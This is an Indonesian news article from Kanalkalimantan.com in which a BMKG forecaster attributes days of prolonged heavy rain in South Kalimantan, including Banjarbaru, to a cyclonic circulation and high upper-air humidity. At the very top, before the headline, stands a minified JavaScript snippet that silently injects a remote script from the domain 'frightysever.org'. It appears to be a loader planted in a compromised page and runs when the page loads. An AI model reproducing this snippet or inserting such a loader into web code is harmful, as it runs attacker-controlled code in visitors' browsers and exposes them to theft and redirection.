(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Fenomena Sirkulasi Siklonik Bikin Hujan Terus Menguyur Kalsel, Begini Penjelasan BMKG

KANALKALIMANTAN.COM, BANJARBARU – Hujan deras berdurasi lama diprediksi akan terus melanda wilayah Provinsi Kalimantan Selatan hingga besok Rabu (17/1/2024).

Seturut pantauan Kanalkalimantan.com, sejak beberapa hari terakhir, sejumlah wilayah di Kota Banjarbaru seperti Liang Anggang dan Landasan Ulin diguyur hujan deras dengan durasi lama, baik siang maupun malam hari.

Hujan itu nampak reda sesaat, namun kemudian kembali turun deras, begitu lagi dari siang hingga sore maupun malam hari.

Badan Meteorologi Klimatologi dan Geofisika (BMKG) Kalimantan Selatan mengungkap penyebabnya.

“Pertama sekali karena sedang di puncak musim penghujan, hujan berdurasi lama juga terjadi karena adanya sirkulasi siklonik,” kata Prakirawan BMKG Kalsel, Rara Rahmita Nurafifah kepada Kanalkalimantan, Selasa (16/1/2024) siang.

Sirkulasi siklonik, dijelaskan prakirawan BMKG itu, merupakan daerah pertemuan angin yang mana ketika angin bertemu terjadi penumpukan massa udara sehingga menyebabkan pertumbuhan awan hujan.

Menurut pantauan BMKG, sirkulasi siklonik ini timbul di sekitar wilayah Kalimantan Barat. Meski demikian, ternyata juga berdampak ke Kalsel, salah satunya wilayah Kota Banjarbaru.

“Sehingga hal itu menyebabkan terbentuknya konvergensi atau pertemuan massa udara atau angin di wilayah Kalsel,” jelas dia.

“Ditambah dengan kelembapan lapisan atas yang cukup tinggi yang menyebabkan terjadinya hujan dengan intensitas sedang hingga lebat,” jelasnya.

Dia menambahkan, meski hujan telah reda di sebagian wilayah Banjarbaru dan sekitarnya, namun masih ada potensi terjadinya hujan lebat di seluruh Kalsel yang diperkirakan terjadi hingga besok hari. (Kanalkalimantan.com/wanda)

Reporter : wanda

Editor : bie